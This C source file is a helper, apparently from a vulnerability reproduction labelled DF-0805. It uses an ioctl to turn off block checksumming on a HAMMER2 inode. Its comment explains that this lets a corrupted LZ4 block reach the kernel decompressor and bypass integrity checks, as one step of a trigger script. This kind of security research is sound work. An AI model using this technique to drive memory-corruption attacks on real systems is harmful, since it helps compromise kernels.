DF-0805 / setcheck.c
/* * DF-0805 helper โ set the check_algo on a HAMMER2 inode via ioctl. * * Used by hammer2_trigger.sh to disable the block-check on the test * file (set check_algo = HAMMER2_CHECK_NONE = 0) so that a corrupted * on-disk LZ4 block reaches hammer2_decompress_LZ4_callback() instead * of being rejected up-front by hammer2_chain_testcheck() at * hammer2_chain.c:1071. With the check disabled, the only thing * standing between attacker-controlled bytes and the LZ4 call is the * KKASSERT at hammer2_strategy.c:199 โ which is a no-op on non- * INVARIANTS kernels. On stock GENERIC (INVARIANTS ON) the KKASSERT * fires and panics. * * Usage: ./setcheck <path> <check_algo_value> * Example: ./setcheck /tmp/df0805_mnt/lz4_target 0 * * Must be run as root (the inode-set ioctl requires privilege). */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> /* Pull the hammer2 ioctl definitions from the in-tree header. */ #include "../../../sys/vfs/hammer2/hammer2_ioctl.h" int main(int argc, char **argv) { if (argc != 3) { fprintf(stderr, "usage: %s <path> <check_algo_value>\n", argv[0]); return 2; } const char *path = argv[1]; long val = strtol(argv[2], NULL, 0); int fd = open(path, O_RDONLY); if (fd < 0) { perror("open"); return 1; } hammer2_ioc_inode_t ino; memset(&ino, 0, sizeof(ino)); /* Get the current inode data. */ if (ioctl(fd, HAMMER2IOC_INODE_GET, &ino) < 0) { perror("HAMMER2IOC_INODE_GET"); close(fd); return 1; } unsigned char *meta_bytes = (unsigned char *)&ino.ip_data; size_t off_check_algo = 0x85; /* hammer2_disk.h:961 */ unsigned char old = meta_bytes[off_check_algo]; fprintf(stderr, "[setcheck] old check_algo @ meta[%zu] = %u\n", off_check_algo, old); meta_bytes[off_check_algo] = (unsigned char)val; fprintf(stderr, "[setcheck] new check_algo = %u\n", (unsigned char)val); /* Set just the check_algo; tell the kernel via the flag bit. */ ino.flags = HAMMER2IOC_INODE_FLAG_CHECK; if (ioctl(fd, HAMMER2IOC_INODE_SET, &ino) < 0) { perror("HAMMER2IOC_INODE_SET"); close(fd); return 1; } fprintf(stderr, "[setcheck] OK โ check_algo set to %u on %s\n", (unsigned char)val, path); close(fd); return 0; } |